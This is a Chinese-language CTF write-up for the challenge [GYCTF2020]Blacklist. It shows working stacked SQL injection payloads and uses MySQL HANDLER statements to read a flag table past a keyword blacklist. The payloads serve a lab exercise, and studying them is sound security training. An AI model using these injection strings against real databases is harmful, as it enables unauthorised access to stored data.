[GYCTF2020]Blacklist1

考点:

堆叠注入

handler命令的使用

看到页面有个简单的输入框,猜想是sql注入

试一下1',发现存在注入点,那就是sql注入了

输入1和输入2提交后好像没有什么有用的东西,试试联合查询注入,发现很多函数被禁止了

尝试堆叠注入,我对堆叠注入只有个浅显的理解,比如我们的payload是1'; show tables--+

应该是1'将前面的语句闭合,";"将前面和后面的命令有了一个先后顺序,先去执行闭合的1'的那个语句,然后再执行";"后面的语句"show tables";而--会把原本的sql查询语句后面的部分注释掉,+只是用作连接符号。可以看到是执行了两个结果。(如果理解不对,还请uu们指出错误)

 那么接下来我们继注入:

使用1';show databases--+来查看数据库有哪些(看了网上的blog,好多都是直接show tables,但是直接show tables为什么会直接出现FlagHere表呢)

 使用1';show tables--+ 看到FlagHere表

 使用1';show columns from `FlagHere`--+ 查看列名

 由于限制了多条命令的输入,所以只能改用其他的命令了Handler可以实现查询,可以来了解一下Handler命令的语法使用

MySQL :: MySQL 8.0 Reference Manual :: 15.2.5 HANDLER Statement

1. 打开表

HANDLER tbl_name OPEN [ [AS] alias]
  • tbl_name:要打开的表的名称。
  • alias(可选):为打开的表指定一个别名,以便在后续的 HANDLER 操作中使用。

这个命令会打开指定的表,以便进行后续的数据读取操作。如果指定了别名,那么在后续的 HANDLER 语句中就可以使用这个别名来引用表。

2. 读取数据

通过索引读取
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ...]
  • index_name:要使用的索引名称。
  • { = | <= | >= | < | > }:比较操作符,用于指定读取数据的条件。
  • (value1,value2,...):与索引列对应的值,用于匹配数据。
  • WHERE where_condition(可选):额外的条件,用于进一步过滤数据。
  • LIMIT ...(可选):限制返回的记录数。

这个命令会根据指定的索引和条件读取数据。

读取特定位置的数据
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ...]
  • { FIRST | NEXT | PREV | LAST }:指定读取数据的位置。FIRST 读取第一条记录,NEXT 读取下一条记录,PREV 读取上一条记录,LAST 读取最后一条记录。

这个命令允许你按照索引的顺序读取数据。

简化读取
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ...]

这个命令是上述通过索引读取的简化版本,它不需要指定索引名称,但通常用于没有索引或不需要通过索引读取的场景。

3. 关闭表

HANDLER tbl_name CLOSE

这个命令会关闭之前打开的表,释放相关资源。

 使用命令1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;--+

读取flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值